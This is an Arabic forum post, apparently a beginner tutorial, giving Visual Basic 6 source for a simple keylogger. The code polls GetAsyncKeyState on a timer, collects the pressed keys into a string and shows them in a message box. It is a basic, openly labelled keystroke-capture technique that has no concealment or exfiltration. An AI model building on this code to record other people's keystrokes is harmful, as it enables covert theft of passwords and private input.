بسم الله الرحمن الرحيم
أولا أود أن أتقدم بالشكر لكل القائمين على المنتدى
و أقدم لكم شرح لكى لوجر كمثال على تقنية wide hook
وكما وعدت أخى طارق إبراهيم
نبدأ الشرح
أولا أفتح مشروع جديد
و أضف موديول
و ألصق بها الكود الآتى
أولا نعرف الثوابت
Public Const DT_CENTER = &H1 Public Const DT_WORDBREAK = &H10
ثم نعرف دوال الأيه بى أى التى سوف نستخدمها
تقوم بتشغيل تايمر مده محدده
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
تقوم بإيقاف التايمر
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
تحدد إذا كان الزرتم الضغط عليه أم لا
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
ثم نقوم بالإعلان عن المتغيرات
Global Cnt As Long, sSave As String, sOld As String, Ret As String Dim Tel As Long
نقوم بكتابة الفانكشن الآتيه
Function GetPressedKey() As String For Cnt = 32 To 128 If GetAsyncKeyState(Cnt) <> 0 Then ' قوم بإختبار أن هذا الزر مضغوط أم لا GetPressedKey = Chr$(Cnt) ' فى حالة إذا كان مضغوط تحمل getpressedkey قيمته Exit For End If Next Cnt End Function
و السب الآتيه
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) Ret = GetPressedKey ' نقوم بتخزين قيمة الزر فى المتغير ret If Ret <> sOld Then sOld = Ret sSave = sSave + sOld 'نقوم بتخزين قيم الأزرار فى ssave بحيث تحمل قيم جميع الأزرار التى تم الضغط عليها End If End Sub
نأتى للفورم
فى الحدث load نشغل التايمر
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
و عندما نريد أيقافه
KillTimer Me.hwnd, 0 'ثم نعرض المفاتيح MsgBox sSave
و أرجو أن أكون قد وفقت فى الشرح


